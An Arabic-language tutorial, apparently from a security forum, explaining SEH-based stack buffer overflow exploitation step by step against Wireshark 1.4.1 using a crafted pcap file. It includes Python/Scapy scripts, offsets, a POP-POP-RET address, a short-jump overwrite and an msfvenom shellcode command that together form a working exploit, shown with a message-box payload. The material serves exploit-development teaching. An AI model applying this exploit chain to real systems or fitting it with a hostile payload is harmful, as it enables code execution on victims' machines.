=====================================================
SEH Based Exploits
=====================================================

هناك أنواع مختلفة من ثغرات الـ Buffer Overflow وقد تختلف طريقة الـ Exploitation من نوع لآخر. خلال سلسلة الـ Buffer Overflow قمنا بشرح أول هذه الأنواع وأبسطها وهو ما يطلق عليه Direct EIP Overwrite والذي يمكننا فيه التحكم في EIP Register بطريقة مباشرة عند التسبب في Buffer Overflow Condition.

في هذا المقال سنلقي نظرة على نوع آخر من ثغرات الـ Buffer Overflow يطلق عليه SEH Exploits ويختلف هذا النوع عن الـ Direct EIP Overwrite أنه عند حدوث Buffer Overflow فإننا لا يمكننا التحكم في EIP بصورة مباشرة ولذلك نقوم باستخدام طريقة مختلفة للتحكم في الـ Execution Flow ولكن بداية ما هو SEH ؟

يرمز إختصار SEH إلى Structured Exception Handler. ربما يكون مصطلح Exception معروف لدى المبرمجين وللتبسيط يمكننا أن نقول أن الـ Exception هو أى خطأ برمجي قد يحدث خلال عمل أي برنامج وبما أنه ينتج عن خلل ما فلابد من أن يقوم المبرمج خلال كتابة الـ Code بتحديد ما الذي يجب فعله عند حدوث أي Exception غير متوقع خلال عمل البرنامج. ومن هنا جاءت كلمة Handler والتي تعني تلقي هذا الخطأ والتعامل معه في حالة وقوعه. على سبيل المثال ، يمكنك الإطلاع على كيفية عمل الـ Exception Handling واستخدامها في لغة Python من هنا.

الخلاصة أنه في حالة استخدام Exception Handling Mechanism بداخل البرنامج فإنه يتم إنشاء سلسلة من مجموعة من الـ Records مربوطة ببعضها البعض كما يلي.


1.png


كل واحد من هذه الـ Records يحتوي على عنصرين فقط لا غير، الأول هو عنوان الذاكرة الذي يتواجد به الـ Record الذي يليه في السلسلة (ويطلق عليه Next SEH) ، والثاني هو عنوان الذاكرة الذي يتواجد به الـ SEH الخاص بهذا الـ Record (ويطلق عليه SEH).

يمكننا أن نشاهد الـ SEH Chain في آخر جزء من الـ Stack كما في الصورة التالية عند عمل Attach لـ Wireshark بداخل Immunity Debugger


7.png

كما يمكننا مشاهدة الـ SEH Chain أيضا بطريقة أكثر نظاما عن طريق "ALT+S" أو "View--->SEH Chain" والتي ستوضح ما يلي


8.png

سنجد أن الـ Chain تحتوي على عنصرين لكل Record (كل line يمثل Record) كما ذكرنا...الأول هو Pointer للـ Next SEH والذي يظهر في العمود الأيسر "Address". أما العنصر الثاني فهوPointer للـ SEH الخاص بهذا الـ Record والذي يظهر في العمود الأيمن "SE handler"

وفي حالة حدوث أي خطأ خلال التشغيل (مثل حدوث Buffer Overflow مثلا) فإنه يتم استدعاء هذه (السلسلة / chain) المكونة من عدة Records ويتم البدء بأول Record فيهم لرؤية ما إذا كان الـ SEH الموجود بهذا الـ Record سيستطيع التعامل مع الخطأ الموجود أم لا، وإذا لم يستطع فإن نظام التشغيل يقوم بالإنتقال إلى الـ Record الذي يليه وترتيبه الثاني في SEH Chain ثم يستدعي الـ SEH الموجود بهذا الـ Record وإذا لم يستطع فإنه يقوم بالإنتقال إلى الـ Record الثالث…..وهكذا إلى أن يصل إلى آخر السلسلة. يتم الإنتقال من Record إلى آخر عن طريق الـ Next SEH الموجود في كل Record والذى يشير إلى عنوان الـ Record الذي يليه.

لنقم الآن برؤية مثال عملي لثغرات SEH مثل هذه الثغرة الموجودة في Wireshark 1.4.1. تعمل هذه الثغرة عن طريق استخدام Wireshark لفتح ملف Pcap تم تكوينه لإحداث Buffer Overflow بداخل Wireshark. بمعنى آخر سنقوم بإنشاء ملف Pcap يحتوي على String مكون من 6000A. وهذا الـ String الطويل سيتسبب في حدوث Buffer Overflow…..بداية دعونا نلقي نظرة على هذا الـ Python Code المستخدم لإنشاء ملف الـ Pcap الذي سيتسبب في حدوث Buffer Overflow


Code:
#!/usr/bin/env python

import sys
from scapy.all import *

payload= "A" * 6000
evil = Ether(type=0x2323)/(payload)
wrpcap("Evil.pcap",evil)
print "\n"
print "Evil.pcap file created....Length is: " + str(len(payload)) + " Bytes\n"

سنلاحظ استخدامنا لـ Scapy لإنشاء Packet جديدة تسمى Evil


Scapy is a packet manipulation tool for computer networks, written in Python by Philippe Biondi. It can forge or decode packets, send them on the wire, capture them, and match requests and replies.

للمزيد عن كيفية عمل Scapy واستخدامها لإنشاء Packets


https://blogs.sans.org/pen-testing/files/2016/04/ScapyCheatSheet_v0.2.pdf
http://www.secdev.org/projects/scapy/demo.html

في هذه الـ Packet قمنا باختيار Ether Type=0x2323 ثم قمنا بوضع الـ String بداخل الـ Packet. ثم في النهاية قمنا بعمل Write لما سبق في الملف Evil.pcap. لنقم الآن بمحاولة فتح هذا الملف باستخدام Wireshark ومشاهدة ذلك من داخل الـ Debugger.


9.png


10.png

كما نرى فإن الملف تسبب في حدوث Stack Buffer Overflow ولكن نلاحظ أيضا أن الـ EIP لم يحدث له Overwrite بأي "A" كما تعودنا. يرجع ذلك كما ذكرنا أن ما نراه الآن ليس Direct EIP Overwrite وإنما SEH Overwrite. كما ذكرنا سابقا فإن الـ SEH Chain يتم وضعها بالـ Stack , لذلك عند حدوث Stack Buffer Overflow فإنه يتم عمل Overwrite أيضا للـ SEH Chain.

كيف يمكننا معرفة أن ذلك النوع هو SEH Overwrite ؟ يمكننا ذلك عن طريق فحص الـ SEH Chain التي ذكرناها سابقا والتي يمكن مشاهدتها عن طريق "ALT+S" أو "View--->SEH Chain" والتي ستوضح ما يلي


11.png

يمكننا ترجمة ما نراه إلى ما يلي:


12.png


سنلاحظ أنه تم عمل Overwrite لكل من SEH الخاص بالـ Record الأول بالإضافة إلى الـ Next SEH الخاص بالـ Record الثاني.

بناءا على ما شرحناه في البداية، في حالة حدوث Exception يتم استدعاء أول SEH في السلسلة لمحاولة عمل Handling للـ Exception وإذا لم ينجح الأمر يتم الإنتقال للـ SEH الثاني وهكذا. في حالتنا هذه سيتم استدعاء الـ SEH الأول (تتم هذه الخطوة عن طريق وضع 0x41414141 في EIP وهو العنوان المفترض أن يوجد به الـ SEH الخاص بأول Record ) وهو ما سينتج عنه خطأ لعدم وجود هذا المكان بالذاكرة . لذلك إذا قمنا باستبدال الـ 0x41414141 بعنوان آخر في الذاكرة يحتوي على ما نريد تنفيذه، فإننا نستطيع التحكم في الـ Execution Flow وتنفيذ الـ Shellcode لاحقا. في المثال المستخدم سنجد أن الـ EBP Register يحتوي على جزء من الـ Buffer وبالتالي إذا قمنا باستبدال 0x41414141 بعنوان في الذاكرة يوجد به JMP EBP فاننا قد نستطيع استغلال هذه الثغرة


13.png

ولكن هناك مشكلة أخرى. في حالة استدعاء الـ SEH يتم عمل xor لجميع الـ Registers الموجودة مع نفسها بطريقة أتوماتيكية أي أنه يتم تصفير جميع الـ Registers كإجراء للحماية من Exploitation. إذا فلن يفيد بشئ تنفيذ الـ JMP EBP.

ملحوظة: الصورة السابقة للـ Crash هي وقت حدوث الـ Exception وقبل استدعاء الـ Handler. إذا أردنا استدعاء الـ Handler فيجب أن نقوم بعمل Pass للـ Exception عن طريق الضغط على "SHIFT+F9" كما هو موضح في أسفل الـ Debugger.


14.png

على الرغم من أنه يتم محو جميع محتويات الـ Registers إلا أنه مازال هناك طريقة لتخطي هذه المشكلة ألا وهي استبدال الـ 0x41414141 الموجودة بالـ SEH بالعنوان الذي يتواجد به الـ Next SEH. وبما أننا استطعنا عمل Overwrite للـ Next SEH ، إذا فإنه بمقدرونا وضع أي Instruction نريد تنفيذها هناك (بداخل الـ Next SEH) وسيتم تنفيذها. وعليه فلابد لنا من:

-أولا: إيجاد طريقة لمعرفة العنوان الذي يتواجد به الـ Next SEH بطريقة Dynamic بحيث لا نستخدم أي Hardcoded Address.
-ثانيا: تحديد ما هي الـ Instruction التي سنضعها في Next SEH والتي ستمكننا من تنفيذ الـ Shellcode.

لحل النقطة الأولى، عند حدوث الـ Exception يتم وضع بعض المعلومات المتعلقة بالـ Record الذي يوجد به الـ SEH في الـ Stack. أحد هذه المعلومات هو عنوان الذاكرة الذي يتواجد به الـ Next SEH (سنطلق عليه عنوان x مجازا) والذي يتواجد عند ESP + 8 وقت حدوث الـ Exception. بناءا على ما سبق فإنه يمكننا دائما معرفة العنوان الذي يتواجد به الـ Next SEH بالذهاب إلى ESP + 8 وقت حدوث الـ Exception ولتنفيذ ذلك بطريقة Dynamic فكل ما علينا فعله هو البحث عن أي عنوان في الذاكرة يتواجد به هذه التعليمات(سنطلق عليه عنوان y مجازا) :


Code:
POP Register
POP Register
Return

بعدها كل ما علينا فعله هو وضع هذا العنوان (y) في الـ SEH وباتالي عند حدوث الـ Exception, سيتم نقل هذا العنوان إلى EIP وسيتم تنفيذ الـ POP, POP, RET والتي بدورها ستقوم بوضع العنوان (x) الذي كان متواجد عند ESP + 8 في الـ EIP وبذلك سيقوم البرنامج بتنفيذ أي أوامر نقوم بوضعها في الـ Next SEH وبذلك نكون قد حللنا النقطة الأولى.

أما بخصوص النقطة الثانية ، فقد وجد أنه بعد استدعاء الـ Handler فإن شكل الـ Stack يكون كما يلي


15.png


إذا فكل ما علينا فعله هو إيجاد Instruction نقوم بوضعها في Next SEH تقوم بتوجيهنا مرة أخرى إلى ما بعد الـ SEH لوضع الـ Shellcode هناك وتنفيذه. يمكننا استخدام Short JMP (مثل \xeb\x08\ والتي ستقوم بالقفز 8bytes ) بداخل Next SEH للقيام بذلك.

قد يبدو تنفيذ ما سبق شئ معقد ولكن بمجرد رؤية ذلك عمليا سيصبح الأمر أبسط بكثير إن شاء الله. لنقم بالخطوات التالية:

-معرفة المكان في الـ Buffer الذي يقوم بعمل overwrite للـ Next SEH
-معرفة المكان في الـ Buffer الذي يقوم بعمل overwrite للـ SEH
-عمل overwrite للـ Next SEH بـ \xeb\x08\
-إيجاد Memory Address بالبرنامج يشير إلى POP, POP, RET وعمل overwrite للـ SEH بهذا العنوان
-وضع الـ Shellcode بعد الـ SEH ليتم تنفيذه

للقيام بالخطوة الأولى والثانية سنستخدم Plugin يطلق عليها mona.py يمكن استخدامها بداخل Immunity لتوفير الوقت وتسهيل عملية الـ Exploitation. كل ما علينا فعله هو عمل Download للـ Plugin من هنا ووضع الملف mona.py بداخل هذا الـمسار:


Code:
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

لنقم باستبدال 6000A بـ Pattern تمكننا من تحديد مكان Next SEH والـ SEH. سنستخدم الأمر التالي بداخل Immunity


16.png

كما يظهر أمامنا تم إنشاء الـ Pattern في


Code:
C:\Program Files\Immunity Inc\Immunity Debugger\pattern.txt


لنستبدل الـ 6000A في الـ Exploit بهذه الـ Pattern وإنشاء ملف Pcap جديد وفتحه باستخدام Wireshark بعد عمل Attach له بداخل Immunity ثم بعد ذلك استخدام الأمر mona findmsp! والذي يقوم بالبحث في الذاكرة عن أي pattern ثم إظهار نتيجة البحث كما يلي


17.png

كما نرى أسفل الجزء الخاص بالـ SEH Chain



Code:
Message=    SEH record (nseh field) at 0x0013e998 overwritten with normal pattern : 0x42337042 (offset 1239), followed by 4753 bytes of cyclic data after the handler

إذا فإن الـ Offset للـ Next SEH هو 1239 وبالتالي الـ Offset للـ SEH هو 1239+4 أي 1243. لنتحقق من ذلك باستبدال هذه الأماكن في الـ Pattern بحروف مختلفة كما يلي


Code:
payload = "A" * 1239 + "BBBB" + "CCCC" + "D" * 4753
evil = Ether(type=0x2323)/(payload)
wrpcap("Evil.pcap",evil)

عند فحص الـ SEH Chain وقت حدوث الـ Crash سنجد ما يلي


18.png

إذا فقد استطعنا عمل overwrite للـ Next SEH بـ "BBBB" وللـ SEH بـ "CCCC". لم يتبق لنا إلا إيجاد Memory Address يحتوي على POP, POP, RET. ومرة أخرى سنستخدم الأمر "mona seh!" والذي سيظهر النتائج التالية:


19.png

سنجد أن أول line في النتائج كما يلي


Code:
0x64f98f68 : pop esi # pop edi # ret  |  {PAGE_EXECUTE_READ} [libfontconfig-1.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Wireshark\libfontconfig-1.dll)


والذي يعني أنه في العنوان 0x64f98f68 يوجد POP, POP, RET. نلاحظ أيضا أن mona.py أخبرتنا:

- أن OS: False وتعني أن هذا العنوان موجود بملف خاص بالـ Application وليس بنظام التشغيل وهذا سيضمن عمل الـ Exploit بغض النظر عن الـ OS المستخدم. فلو اخترنا عنوان موجود بأحد ملفات الـ Windows (في حالتنا هذه Server 2003) فإن الـ Exploit لن تعمل إذا تم استخدام إصدار آخر مثل Vista أو 7.

-أن ASLR: False والتي تعني أن خاصية Address Space Layout Randomization غير مفعلة وهذا شئ جيد لأن تفعيلها سيجعل هذا العنوان يتغير كل مرة يتم عمل Reboot فيها وبالتالي لن تعمل الـ Exploit. يمكن تخطي هذه الجزئية عن طريق ما يعرف بـ Partial Overwrite ولكنه خارج الـ Scope وقد نتعرض له مستقبلا إن شاء الله.

-أن Rebase: False وهو مشابه للـ ASLR ويجب تجنبه.

-أن Safe SEH: False وهو إجراء حماية يعمل باختصار عن طريق وضع كل عناوين الذاكرة التي تحتوي على الـ Handlers في جدول وفي حالة حدوث Exception سيتم التأكد من أن أي Handler يتم استدعائه لابد وأن يكون متواجد بأحد العناوين الموجودة في هذا الجدول وإلا لن يعمل.

الخلاصة، عند إختيار الـ Address الخاص بـ POP, POP, RET لابد من التأكد من وجوده بـ Module لم يتم عمل Compile له باستخدام Safe SEH وتجنب الـ ASLR واختيار Module من الـ Application وليس من OS لضمان الـ Portability.

لنعدل الـ Exploit ونستبدل الـ SEH و الـ Next SEH كما يلي


Code:
#NSEH will be replaced by short jmp "\xeb\x08\x90\x90"
#SEH will be replaced by the address 0x64f98f68 which points to POP,POP,RET

payload = "A" * 1239 + "\xeb\x08\x90\x90" + "\x68\x8f\xf9\x64" + "D" * 4753
evil = Ether(type=0x2323)/(payload)
wrpcap("Evil.pcap",evil)

هذه المرة قبل فتح الملف الناتج باستخدام Wireshark , سنقوم بوضع Breakpoint عند 0x64f98f68 الذي يتواجد به POP,POP,RET. للقيام بذلك سنقوم بعمل Attach لـ Wireshark داخل Immunity ثم Run ثم "Go to address in Disassembler" وبعد الذهاب لهذا الـ Memory Address سنقوم بالوقوف عليه والضغط على F2 لكي يتم وضع Breakpoint.


20.png


21.png

بعد ذلك نفتح ملف الـ Pcap الناتج ، سيحدث Crash كما بالسابق ثم نقوم بعمل Pass للـ Exception (عن طريق Shift + F9) لكي يتم استدعاء الـ Handler. بمجرد عمل Pass للـ Exception سنجد أن البرنامج توقف عند الـ Breakpoint التي وضعناها سابقا كما يلي


22.png


23.png

كما نرى فقد استطعنا عمل Redirection للـ Execution ولم يتبق لنا إلا وضع الـ Shellcode بعد SEH ليتم تنفيذه. سنقوم باستخدام Metasploit MessageBox Shellcode


Code:
msfvenom -a x86 --platform windows -p windows/messagebox TEXT="Nakerah Pwned SEH" -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x09' -f c

ثم وضعه في الـ Exploit كما يلي:


Code:
payload = "A" * 1239 + "\xeb\x08\x90\x90" + "\x68\x8f\xf9\x64" + "\x90" * 10 + shellcode + "D" * 4444
evil = Ether(type=0x2323)/(payload)
wrpcap("Evil.pcap",evil)
24.png


ملحوظة:
-بعد تنفيذ الـ Short JMP, قد تجد أن الـ Debugger لم يستطع تنفيذ الـ Shellcode وذلك قد يكون بسبب تفعيل خاصية Data Execution Prevention أو ما يعرف أيضا بـ DEP وهو أحد إجراءات الحماية المفعلة تلقائيا في نظام التشغيل والتي تمنع محاولات الـ Execution لأي كود بداخل بعض الأماكن بالذاكرة... ولذلك ستضطر لاستثناء Wireshark منها حتى تستطيع تنفيذ الـ Shellcode.
يمكن تخطي الـ DEP باستخدام ما يعرف بـ Return Oriented Programming ويختصر بـ ROP ولكن ذلك خارج الـ Scope فقد أردنا التركيز هنا على شرح الـ SEH Exploits فقط.

-قد يحدث أحيانا أن بعض البرامج يمكن عمل Exploitation لها عن طريق كل من Direct EIP Overwrite و الـ SEH في نفس الوقت. غالبا الفرق يكون في الـ length الخاص بالـ Buffer المستخدم بمعنى أنه عند استخدام Length=X فسيحدث Direct EIP Overwrite والذي يمكننا استغلاله بالطريقة التقليدية. أما في حالة استخدام Length=3X فإن ذلك سيتسبب في حدوث Exception وبالتالي تكون الطريقة الوحيدة للـ Exploitation هي SEH.




Additional Readings:
https://www.microsoft.com/msj/0197/exception/exception.aspx
https://blogs.technet.microsoft.com...-exception-handler-seh-overwrites-with-sehop/
https://msdn.microsoft.com/en-us/library/windows/desktop/ms679270(v=vs.85).aspx
https://www.corelan.be/index.php/20...ploits-a-quick-and-basic-tutorial-part-3-seh/
https://www.securitysift.com/windows-exploit-development-part-6-seh-exploits/
Author
Muhammad.Alharmeel
Views
2,621
First release
Last update
Rating
5.00 star(s) 3 ratings

Latest reviews

excellent
Top